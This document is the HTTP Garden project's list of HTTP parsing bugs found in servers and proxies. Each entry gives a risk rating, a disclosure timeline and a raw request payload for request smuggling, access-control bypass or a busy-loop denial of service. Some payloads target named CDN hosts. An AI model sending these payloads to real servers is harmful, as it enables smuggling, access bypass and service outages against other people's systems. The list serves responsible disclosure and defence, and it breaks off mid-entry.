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Bugs

These are the bugs we've found using the HTTP Garden. If you find some of your own, please submit a PR to add them to this list! Each bug is described with the following fields:

  • Use case: The type of attack an attacker can execute with this bug
  • Requirements: Required configuration options or other servers in order for this bug to be exploited.
  • Risk: None|Low|Medium|High, followed by a short explanation.
    • None: The bug is likely not exploitable.
    • Low: The bug might be exploitable, but it requires a really weird config or would rely on a proxy behaving in a way that I've never seen.
    • Medium: The bug is likely exploitable, but has only moderate impact or requires an unlikely server/transducer combination.
    • High: The bug is exploitable in common configurations and server/transducer combinations.
  • Payload: An example payload that triggers the bug
  • Affected programs: A list of servers in which this bug is present, along with report and patch timelines. Since some implementation bugs are common, and this keeps them from cluttering the list :)

Server Bugs

These are bugs in the way servers accept and interpret requests.

  1. The Python int constructor is used to parse chunk-sizes, so 0x, _, +, and - are misinterpreted.
  • Use case: Request smuggling
  • Requirements: A transducer that interprets chunk-sizes as their longest valid prefix, but forwards them as-is.
  • Risk: Medium. See transducer bug 7.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n0_2e\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
  1. \x00, \r, or \n are incorrectly permitted in header values.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards these bytes in header values, or accepts and forwards \n as a header line terminator.
  • Risk: High. See transducer bugs 10, 12, and 16.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nHeader: v\n\x00\ralue\r\n\r\n
  • Affected programs:
    • AIOHTTP:
    • Gunicorn:
      • January 31, 2024: Reported via GH issue.
      • January 31, 2024: Remains unfixed.
    • Tornado:
      • August 11, 2023: Reported via GH issue.
      • January 31, 2024: Remains unfixed.
  1. Whitespace is incorrectly stripped from the ends of header names.
  • Use case: Request smuggling
  • Requirements: A transducer that considers whitespace before the : to be part of the header name.
  • Risk: Low. I'm not aware of any vulnerable transducers, but James Kettle says that at least one exists.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length : 34\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n
  • Affected programs:
    • AIOHTTP:
    • Cheroot:
      • February 4, 2024: Reported via GH issue.
      • February 4, 2024: Remains unfixed.
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
      • August 14, 2023: Assigned CVE-2023-40518.
  1. Whitespace is incorrectly stripped from the beginning of the first header name.
  • Use case: Request smuggling
  • Requirements: A transducer that considers whitespace at the beginning of the first header name to be part of the header name.
  • Risk: Low. I'm not aware of any vulnerable transducers.
  • Payload: GET / HTTP/1.1\r\n\tContent-Length: 1\r\n\r\nX
  • Affected programs:
    • AIOHTTP:
      • August 20, 2023: Reported via GH security advisory comment.
      • October 7, 2023: Fixed in release 3.8.6.
  1. HTTP versions are interpreted as their longest valid prefix.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET /test HTTP/1.32\r\n\r\n
  • Affected programs:
    • AIOHTTP:
      • October 14, 2023: Reported via GH issue and PR.
      • October 15, 2023: Fixed in commit.
  1. HTTP methods are interpreted as their longest valid prefix.
  • Use case: ACL bypass
  • Requirements: A transducer that forwards invalid method names as-is.
  • Risk: Medium. Explanation omitted because the corresponding bugs are not yet reported.
  • Payload: G=":<>(e),[T];?" /get HTTP/1.1\r\n\r\n
  • Affected programs:
    • AIOHTTP:
      • October 14, 2023: Reported via GH issue and PR.
      • October 15, 2023: Fixed in commit.
  1. URIs are not validated whatsoever.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET ! HTTP/1.1\r\n\r\n
  • Affected programs:
    • AIOHTTP:
      • October 16, 2023: Reported via GH issue.
      • October 16, 2023: Fixed in PR.
  1. Some non-ASCII bytes are incorrectly permitted in header names.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET / HTTP/1.1\r\n\xefoo: bar\r\n\r\n
  • Affected programs:
    • AIOHTTP:
      • October 17, 2023: Reported via PR.
      • October 18, 2023: Fixed via merge of above PR.
    • Daphne:
      • February 4, 2024: Reported via GH issue.
      • February 10, 2024: Fixed in commit.
    • Mongoose:
      • October 13, 2023: Reported via GH issue.
      • December 5, 2023: Fixed in commit.
  1. \n is allowed as separating whitespace in a request line.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards HTTP/0.9 requests with bare \n as-is, and reuses the underlying connection.
  • Risk: Low. I'm not aware of any vulnerable transducers.
  • Payload: GET /\nHTTP/1.1\r\n\r\n
  • Affected programs:
    • AIOHTTP:
      • October 17, 2023: Reported via PR.
      • October 18, 2023: Fixed via merge.
  1. The Python int constructor is used to parse Content-Length values, so _, +, and - are misinterpreted.
  • Use case: Request smuggling
  • Requirements: A transducer that interprets Content-Length values as their longest valid prefix, but forwards them as-is.
  • Risk: Low. I'm not aware of any vulnerable transducers, but Matt Grenfeldt says that at least one exists.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nContent-Length: +1_0\r\n\r\n0123456789
  • Affected programs:
  1. Requests containing multiple Transfer-Encoding: chunked headers are accepted and treated as having no message body.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards requests containing multiple Transfer-Encoding headers.
  • Risk: High. See transducer bug 28.
  • Payload: POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n
  • Affected programs:
  1. \xa0 and \x85 are stripped from the beginnings and ends of header values.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards unknown Transfer-Encoding values and treats them as distinct from chunked.
  • Risk: Medium. See transducer bug 18.
  • Payload: POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: \xa0chunked\xa0\r\n\r\n0\r\n\r\n
  • Affected programs:
  1. \r is treated as a line terminator in header field lines.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards \r in header names.
  • Risk: High. See transducer bug 10.
  • Payload: GET / HTTP/1.1\r\nVisible: :/\rSmuggled: :)\r\n\r\n
  • Affected programs:
    • CPython http.server:
      • January 31, 2024: Reported via GH issue.
      • January 31, 2024: Remains unfixed.
    • Mongoose:
  1. Disallowed ASCII characters are incorrectly permitted in header names.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET / HTTP/1.1\r\n\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f "(),/;<=>?@[/]{}: whatever\r\n\r\n
  • Affected programs:
    • Daphne:
      • February 4, 2024: Reported via GH issue.
      • February 10, 2024: Fixed in commit.
    • Mongoose:
      • October 13, 2023: Reported via GH issue.
      • December 5, 2023: Fixed in commit.
    • Tornado:
      • August 11, 2023: Reported via GH issue.
      • January 31, 2024: Remains unfixed. OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
  1. HTTP versions are not validated.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET / HTTP/\r\r1.1\r\n\r\n
  • Affected programs:
    • FastHTTP:
      • February 4, 2024: Reported via GH issue.
      • February 11, 2024: Fixed in commit.
  1. Empty Content-Length values are treated as though they were 0.
  • Use case: Request smuggling
  • Requirements: A transducer that interprets empty Content-Length values as anything other than 0.
  • Risk: Low. I'm not aware of any such transducer.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length: \r\n\r\n
  • Affected programs:
    • Go net/http:
      • July 31, 2023: Reported via GH issue
      • August 11, 2023: Fixed in commit.
    • Lighttpd:
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
  1. Empty chunk-sizes are treated as though they were 0.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards extra \r\ns between chunks.
  • Risk: Low. I'm not aware of any such transducer.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n\r\n\r\n
  • Affected programs:
    • Go net/http:
      • December 2, 2023: Reported via GH issue.
      • January 4, 2024: Fixed in commit.
    • Hyper:
      • December 1, 2023: Reported via email.
      • December 18, 2023: Fixed in commit.
    • Mongoose:
      • January 3, 2024: Reported via GH issue.
      • January 3, 2024: Fixed in PR.
  1. Empty header names are erroneously accepted.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards \r\n:\r\n, and treats it as the end of the header block.
  • Risk: Low. I'm not aware of any such transducer.
  • Payload: GET / HTTP/1.1\r\n: ignored\r\nHost: whatever\r\n\r\n
  • Affected programs:
    • Go net/http:
      • January 24, 2024: Reported via GH issue.
      • January 30, 2024: Fixed in commit.
    • Gunicorn:
      • December 4, 2023: Reported via GH issue.
      • December 25, 2023: Fixed in commit.
    • Node.js:
      • October 13, 2023: Reported via GH issue.
      • October 17, 2023: Fixed in commit.
    • Tornado:
      • October 13, 2023: Reported via GH issue comment.
      • October 15, 2023: Remains unfixed.
  1. All non-\r\n whitespace sequences are stripped from the beginnings of header values (after the :).
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards bare \n line endings in field lines.
  • Risk: Medium. See transducer bug 16.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nUseless:\n\nGET / HTTP/1.1\r\n\r\n
  • Affected programs:
    • Gunicorn:
      • June 2, 2023: Reported via email.
      • January 31, 2024: Reported via GH issue.
      • January 31, 2024: Remains unfixed.
  1. \xa0 and \x85 bytes are stripped from the ends of header names, before the :.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards \xa0 or \x85in header names.
  • Risk: Medium. See transducer bug 6.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nContent-Length\x85: 10\r\n\r\n0123456789
  • Affected programs:
    • Gunicorn:
      • June 27, 2023: Reported via email.
      • December 25, 2023: Fixed in commit.
  1. ,chunked is treated as an encoding distinct from chunked.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards the Transfer-Encoding value ,chunked as-is, and interprets it as equivalent to chunked.
  • Risk: High. See transducer bug 9.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
    • Gunicorn:
      • November 6, 2023: Reported via GH issue.
      • December 25, 2023: Fixed in commit.
    • Mongoose:
      • November 6, 2023: Reported via GH issue.
      • December 1, 2023: Fixed in commit.
    • Passenger:
      • November 6, 2023: Reported via email.
      • January 22, 2024: Fixed in release.
  1. Invalid chunk-sizes are interpreted as their longest valid prefix.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards invalidly-prefixed chunk-sizes (e.g. with 0x prefix).
  • Risk: High. See transducer bugs 2 and 19.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n0_2e\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
    • H2O:
      • August 1, 2023: Reported via email.
      • December 12, 2023: Fixed in PR.
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
    • WEBrick:
      • November 9, 2023: Reported via GH issue.
      • February 3, 2024: Fixed in PR.
  1. Requests with multiple conflicting Content-Length headers are accepted, prioritizing the first.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards requests with 2 Content-Length headers, prioritizing the last.
  • Risk: Medium. See transducer bug 22.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nContent-Length: 1\r\nContent-Length: 0\r\n\r\nZ
  • Affected programs:
    • H2O:
      • November 30, 2023: Reported via email.
      • July 10, 2024: Reported via GH issue.
      • July 10, 2024: Remains unfixed.
    • OpenLiteSpeed:
      • June 26, 2024: Reported via GH issue.
      • July 10, 2024: Remains unfixed.
  1. 8-bit integer overflow in HTTP version numbers.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET / HTTP/4294967295.255\r\n\r\n
  • Affected programs:
    • Libevent:
      • January 17, 2024: Submitted PR.
      • January 18, 2024: Fixed in merge.
  1. Chunk-sizes are parsed using strtoll(,,16), so 0x, +, and - prefixes are erroneously accepted.
  • Use case: Request smuggling
  • Requirements: A transducer that interprets chunk-sizes as their longest valid prefix, but forwards them as-is.
  • Risk: Medium. See transducer bug 2.
  • Payload: GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n
  • Affected programs:
    • Libevent:
      • January 18, 2024: Submitted PR.
      • February 18, 2024: Fixed in merge.
    • OpenLiteSpeed:
      • August 2, 2023: Reported via email.
      • August 11, 2023: Fixed in OLS 1.7.18.
  1. Negative Content-Length headers can be used to force the server into an infinite busy loop.
  • Use case: DoS
  • Requirements: None.
  • Risk: High. This bug is trivial to exploit.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nContent-Length: -48\r\n\r\n
  • Affected programs:
  1. The HTTP header block is truncated upon receipt of a header with no name or value.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards empty header names.
  • Risk: Medium. See bonus bonus bug 2.
  • Payload: GET / HTTP/1.1\r\n:\r\nI: am chopped off\r\n\r\n
  • Affected programs:
  1. Header names can be separated from values on space alone; no : required.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards header lines that don't contain a :.
  • Risk: Medium. See transducer bug 14.
  • Payload: GET / HTTP/1.1\r\nContent-Length 10\r\n\r\n0123456789
  • Affected programs:
  1. Invalid Content-Length headers are interpreted as equivalent to their longest valid prefix.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards Content-Length values with invalid prefixes (e.g. 0x or +)
  • Risk: High. See transducer bug 1.
  • Payload: GET / HTTP/1.1\r\nContent-Length: 1Z\r\n\r\nZ
  • Affected programs:
    • Mongoose:
      • July 31, 2023: Reported via GH issue
      • August 17, 2023: Fixed in commit.
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
  1. The header block can be incorrectly terminated on \r\n\rX, where X can be any byte.
  • Use case: ???
  • Requirements: A transducer that forwards header names beginning with \r, or allows \r as line-folding start-of-line whitespace.
  • Risk: Low. I'm not aware of such a transducer.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\n\rZGET /evil: HTTP/1.1\r\nHost: a\r\n\r\n
  • Affected programs:
  1. Chunk lines are incorrectly terminated on \rX, where X can be any byte.
  • Use case: Request smuggling.
  • Requirements: A transducer that forwards \r within the optional whitespace in a chunk-ext.
  • Risk: High. See transducer bug 3.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n5\r\r;ABCD\r\n34\r\nE\r\n0\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
  1. Content-Length headers are interpreted with strtoll(,,0), so leading 0, +, -, and 0x are misinterpreted.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards leading 0s in Content-Length values, which is permitted by the standard.
  • Risk: High. This is exploitable against standards-compliant transducers.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 010\r\n\r\n01234567
  • Affected programs:
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
  1. Requests with multiple conflicting Content-Length headers are accepted, prioritizing the last.
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards requests with 2 Content-Length headers, prioritizing the first.
  • Risk: Low. I'm not aware of any such transducer, but the existence of one seems extremely likely.
  • Payload: GET / HTTP/1.1\r\nHost: a\r\nContent-Length: 0\r\nContent-Length: 1\r\n\r\nZ
  • Affected programs:
    • FastHTTP:
      • February 4, 2024: Reported via email.
      • February 11, 2024: Fixed in commit.
  1. \r is permitted in header values.
  • Use case: ???
  • Requirements: A transducer that misinterprets and forwards \r in header values.
  • Risk: Low. I'm not aware of any such transducer.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nHeader: va\rlue\r\n\r\n
  • Affected programs:
    • OpenLiteSpeed:
      • July 31, 2023: Reported via email.
      • August 10, 2023: Fixed in OLS 1.7.18.
  1. Header values are truncated at \x00.
  • Use case: ACL bypass
  • Requirements: A transducer that forwards \x00 in header values.
  • Risk: Medium. See transducer bug 12.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTest: test\x00THESE BYTES GET DROPPED\r\nConnection: close\r\n\r\n
  • Affected programs:
    • OpenLiteSpeed:
      • November 3, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
    • Libevent:
  1. Carriage returns are forwarded within the optional whitespace following the semicolon in a chunk extension.
  • Use case: Request smuggling
  • Requirements: A server that treats \r\r as equivalent to \r\n in this location.
  • Risk: High. See server bug 31.
  • Payload: POST /abc HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: h2o.http-garden.us\r\n\r\n41;a=b\r\rXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n0\r\n\r\nGET /bad_path/pwned HTTP/1.1\r\nHost: a\r\nContent-Length: 412\r\n\r\n0\r\n\r\nGET /def HTTP/1.1\r\nHost: h2o.http-garden.us\r\n\r\n
  • Affected programs:
    • Akamai CDN:
      • December 3, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
  1. Header names can be continued across lines.
  • Use case: request smuggling.
  • Requirements: A transducer that forwards header lines that don't contain a :.
  • Risk: Medium. See transducer bug 14.
  • Payload: POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-\r\nEncoding: chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
  • Affected programs:
    • Passenger:
      • November 6, 2023: Reported via email.
      • January 22, 2024: Fixed in release.
  1. Empty Content-Length in requests are interpreted as ``read until timeout occurs."
  • Use case: Request smuggling
  • Requirements: A transducer that accepts and forwards empty Content-Length header values, and treats them as equivalent to 0.
  • Risk: Medium. See transducer bugs 5 and 11.
  • Payload: GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: \r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n
  • Affected programs:
    • Puma:
      • June 16, 2023: Reported via email.
      • August 17, 2023: Fixed in Puma 6.3.1 and 5.6.7. See advisory.
  1. Chunked message bodies are terminated on \r\nXX, where XX can be any two bytes.
  • Use case: Request smuggling
  • Requirements: A transducer that preserves trailer fields and does not add whitespace between the : and value within trailer fields. (ATS is one such server)
  • Risk: High. The requirements to exploit this bug do not require the transducer to violate the standards.
  • Payload: GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\nX:POST / HTTP/1.1\r\n\r\n
  • Affected programs:
    • Puma:
      • July 31, 2023: Reported via email.
      • August 17, 2023: Fixed in Puma 6.3.1 and 5.6.7. See advisory.
      • Assigned CVE-2023-40175.
  1. HTTP methods and versions are not validated.
  • Use case: ???
  • Requirements: N/A
  • Risk: None.
  • Payload: \x00 / HTTP/............0596.7407.\r\n\r\n
  • Affected programs:
    • Waitress:
      • October 17, 2023: Submitted PR.
      • February 4, 2024: Fixed in merge of PR.
  1. \xa0 and \x85 are stripped from the beginnings and ends of header values, except for the Transfer-Encoding header.
  • Use case: Header value ACL bypass
  • Requirements: A transducer that accepts and forwards \xa0 and \x85 in place.
  • Risk: Medium. The standard allows transducers to forward obs-text in header values.
  • Payload: GET /login HTTP/1.1\r\nHost: a\r\nUser: \x85admin\xa0\r\n\r\n
  • Affected programs:
    • Waitress:
      • February 4, 2024: Reported via GH issue.
      • February 4, 2024: Fixed in commit.
  1. Empty Content-Length values are interpreted as equivalent to 0, and prioritized over any subsequent Content-Length values.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards empty Content-Length values before nonempty ones, and interprets the nonempty ones.
  • Risk: High. See transducer bug 11.
  • Payload: GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n
  • Affected programs:
    • WEBrick:
      • August 14, 2023: Reported via GH issue.
      • August 15, 2023: Fixed in PR.
  1. \x00 is stripped from the ends of header values.
  • Use case: ACL bypass
  • Requirements: A transducer that forwards \x00 in header values.
  • Risk: Medium. See transducer bug 12.
  • Payload: GET / HTTP/1.1\r\nEvil: evil\x00\r\n\r\n
  • Affected programs:
    • WEBrick:
      • November 30, 2023: Reported via GH issue.
      • February 3, 2024, 2024: Fixed in PR.
  1. All unknown transfer codings are treated as equivalent to chunked.
  • Use case: Request smuggling
  • Requirements: A transducer that forwards Transfer-Encodings other than identity and chunked. This is allowed by the standard.
  • Risk: High. This allows for request smuggling against some standards-compliant transducers.
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: blegh\r\n\r\n1\r\nZ\r\n0\r\n\r\n
  • Affected programs:
    • FastHTTP:
      • February 4, 2024: Reported via email.
      • February 11, 2024: Fixed in commit.
  1. Connections are closed prematurely when an invalid request is pipelined after a valid request.
  • Use case: ???
  • Requirements: None.
  • Risk: None.
  • Payload: GET / HTTP/1.1\r\nConnection: close\r\n\r\nInvalid\r\n\r\n
  • Affected programs:
  1. Bytes greater than \x80 are stripped from the beginnings and ends of header values.
  • Use case: Host of troubles.
  • Requirements: A transducer that forwards Host headers containing bytes greater than \x80.
  • Risk: Medium.
  • Payload: POST / HTTP/1.1\r\nHost: \xffa\xff\r\nTransfer-Encoding: \xffchunked\xff\r\n\r\n1\r\nZ\r\n0\r\n\r\n
  • Affected programs:
    • Bun:
      • February 13, 2024: Reported via GH issue.
      • February 13, 2024: Remains unfixed.
  1. When an invalid chunk is received, the connection isn't closed, and the start of the next message is placed after the first \r\n following the invalid chunk.
  • Use case: Response queue poisoning.
  • Requirements: A transducer that forwards invalid chunks.
  • Risk: Medium.
  • Payload: POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\nINVALID!!!\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n
  • Affected programs:
    • Cheroot:
      • February 14, 2024: Reported via GH issue.
      • February 14, 2024: Remains unfixed.
  1. Pipelined requests in the initial request buffer are interpreted as the message body of the first request in the buffer, even if it has a Content-Length: 0 header.
  • Use case: Request smuggling
  • Requirements: A transducer that doesn't change incoming stream element boundaries.
  • Risk: Low. I am not aware of any such transducer
  • Payload: POST / HTTP/1.1\r\nContent-Length: 0\r\nConnection:keep-alive\r\nHost: a\r\nid: 0\r\n\r\nPOST / HTTP/1.1\r\nHost: a\r\nid: 1\r\nContent-Length: 34\r\n\r\n GET / HTTP/1.1\r\nHost: a\r\nid: 2\r\n\r\n
  • Affected programs:
    • Puma:
      • February 2, 2024: Reported via email.
      • February 2, 2024: Fixed in commit.

Transducer Bugs

These are bugs in the way transducers interpret, normalize, and forward requests.

  1. 0x-prefixed Content-Length values are incorrectly accepted and forwarded, without validation of the message body.
  • Use case: Request smuggling
  • Requirements: A server that either interprets Content-Length as its longest valid prefix, or interprets 0x-prefixed Content-Length.
  • Risk: Medium. See servers bugs 10, 29, and 32.
  • Payload: POST / HTTP/1.1\r\nHost: akamai.my-domain.cool\r\nContent-Length: 0x10\r\n\r\nZ
  • Affected programs:
    • Akamai CDN:
      • September 7, 2023: Reported via email.
      • November 27, 2023: Notified of fix via email.
  1. Invalid chunk-size values are incorrectly accepted and forwarded.
  • Use case: Request smuggling
  • Requirements: An HTTP/1.1 backend server
  • Risk: High. This bug was exploitable for request smuggling against arbitrary backends.
  • Payload: POST / HTTP/1.1\r\nHost: akamai.my-domain.cool\r\nTransfer-Encoding: chunked\r\n\r\nZ\r\nZZ\r\nZZZ\r\n\r\n
  • Affected programs:
    • Akamai CDN:
      • September 7, 2023: Reported via email.
      • November 27, 2023: Notified of fix via email.
  1. \r is incorrectly permitted in chunk-ext whitespace before the ;.
  • Use case: Request smuggling
  • Requirements: A server that misinterprets \r in this location.
  • Risk: High. See server bug 31.
  • Payload: POST / HTTP/1.1\r\nHost: server.my-domain.cool\r\nTransfer-Encoding: chunked\r\n\r\n2\r\r;a\r\n02\r\n41\r\n0\r\n\r\nGET /bad_path/pwned HTTP/1.1\r\nHost: a\r\nContent-Length: 430\r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\nHost: server.my-domain.cool\r\n\r\n
  • Affected programs:
    • Akamai CDN:
      • September 7, 2023: Reported via email.
      • November 27, 2023: Notified of fix via email.
    • Apache Traffic Server:
      • September 20, 2023: Reported via GH issue.
      • February 13, 2024: Fixed in PR.
    • Google Cloud Classic Application Load Balancer:
      • September 13, 2023: Reported via Google IssueTracker.
      • January 30, 2024: Fixed on or before this date.
  1. Messages containing invalid chunks are forwarded without their message bodies.
  • Use case: ???
  • Requirements: N/A
  • Risk: None.
  • Payload: POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r0\n
  • Affected programs:
    • Pound:
      • June 13, 2024: Reported via GH issue.
      • June 14, 2024: Fixed in commit.
  1. Empty Content-Length headers are incorrectly forwarded.
  • Use case: Request smuggling
  • Requirements: A server that interprets empty Content-Length values as anything other than 0
  • Risk: Medium. See server bug 38.
  • Payload: GET / HTTP/1.1\r\nhost: whatever\r\ncontent-length: \r\n\r\n
  • Affected programs:
    • Apache Traffic Server:
      • August 2, 2023: Reported via GH issue.
      • August 6, 2023: Fixed via PR.
  1. Disallowed bytes are accepted and forwarded within header names.
  • Use case: Request smuggling
  • Requirements: A server that misinterprets these invalid bytes within header names.
  • Risk: Medium. See server bug 41.
  • Payload: GET / HTTP/1.1\r\nHost: fanout\r\nHeader\x85: value\r\n\r\n
  • Affected programs:
    • Apache Traffic Server:
      • June 29, 2023: Reported via email.
      • September 18, 2023: Reported via GH issue.
      • January 31, 2024: Remains unfixed.
    • OpenBSD relayd:
      • November 10, 2023: Reported via email.
      • November 28, 2023: Patched in commit.
  1. Chunk-sizes are interpreted as their longest valid prefix, and re-emitted.
  • Use case: Request smuggling
  • Requirements: A server that interprets 0_ or 0x prefixes on chunk-sizes.
  • Risk: High. See server bugs 1, and 25, and transducer bug 19.
  • Payload: POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1these-bytes-never-get-validated\r\nZ\r\n0\r\n\r\n
  • Affected programs:
    • Apache Traffic Server:
      • October 10, 2023: Reported via GH issue.
      • February 13, 2024: Fixed in PR.
  1. Placeholder :)
  2. Transfer-Encoding: ,chunked headers are forwarded intact, and interpreted as equivalent to chunked.
  • Use case: Request smuggling
  • Requirements: A server that both ignores unknown Transfer-Encodings and treats ,chunked as distinct from chunked.
  • Risk: High. See server bug 21.
  • Payload: POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: ,chunked\r\n\r\n0\r\n\r\n
  • Affected programs:
    • Azure CDN:
      • October 15, 2023: Reported via MSRC vulnerability report.
      • November 29, 2023: Fixed on or before this date.
      • December 12, 2023: "this case does not meet the bar for servicing by MSRC as HTTP smuggling is not consider a vulnerability and we will be closing this case."
    • nghttpx:
      • October 14, 2023: Reported via email.
      • October 17, 2023: Fixed in PR.
  1. \r is incorrectly forwarded in header values.
  • Use case: Request smuggling
  • Requirements: A server that treats \r as equivalent to \r\n within header fields.
  • Risk: Medium. See server bug 13.
  • Payload: GET / HTTP/1.1\r\nInvalid-Header: this\rvalue\ris\rinvalid\r\n\r\n
  • Google Cloud Classic Application Load Balancer:
    • September 7, 2023: Reported via Google IssueTracker.
    • January 30, 2024: Fixed on or before this date.
  1. Empty Content-Length headers are incorrectly forwarded, even in the presence of other Content-Length headers, as long as the empty Content-Length header comes first.
  • Use case: Request smuggling
  • Requirements: A server that interprets empty Content-Length values as 0 and accepts multiple Content-Length headers in incoming requests, prioritizing the first.
  • Risk: Medium. See server bug 42.
  • Payload: GET / HTTP/1.1\r\nhost: whatever\r\ncontent-length: \r\ncontent-length: 59\r\n\r\nPOST /evil HTTP/1.1\r\nhost: whatever\r\ncontent-length: 34\r\n\r\nGET / HTTP/1.1\r\nhost: whatever\r\n\r\n
  • Affected programs:
  1. \x00 is forwarded in header values.
  • Use case: ACL bypass
  • Requirements: A server that truncates header values at \x00.
  • Risk: Medium. See server bugs 35 and 43, and transducer bug 20.
  • Payload: GET / HTTP/1.1\r\nHost: google.com\x00.kallus.org\r\n\r\n
  • Affected programs:
    • HAProxy:
      • September 19, 2023: Reported via email.
      • January 31, 2024: Fixed in commit.
    • OpenLiteSpeed:
      • November 3, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
  1. Bare \n is accepted as a chunk line terminator.
  • Use case: ???
  • Requirements: N/A
  • Risk: None
  • Payload: GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\na\r\n0123456789\n0\r\n\r\n
  • Affected programs:
    • HAProxy:
      • January 25, 2024: Reported via email.
      • January 30, 2024: Fixed in commmits 7b737da and 4837e99.
  1. Field lines with no : are forwarded as-is.
  • Use case: Request smuggling
  • Requirements: A backend server that misinterprets header field lines with no :.
  • Risk: Medium. See transducer bugs 28 and 37.
  • Payload: GET / HTTP/1.1\r\nHost: whatever\r\nTe\nst: test\r\nConnection: close\r\n\r\n
  • Affected programs:
    • OpenLiteSpeed:
      • November 3, 2023: Reported via email.
      • July 10, 2024: Fixed on or before this date.
  1. Requests containing both Content-Length and Transfer-Encoding headers are forwarded as-is if the Transfer-Encoding value is unrecognized.
  • Use case: Request smuggling
  • Requirements: A backend server that treats ,chunked as equivalent to chunked, and prioritizes Transfer-Encoding over Content-Length. These behaviors are allowed by the standards.
  • Risk: High. This allows request smuggling to standards-compliant servers.
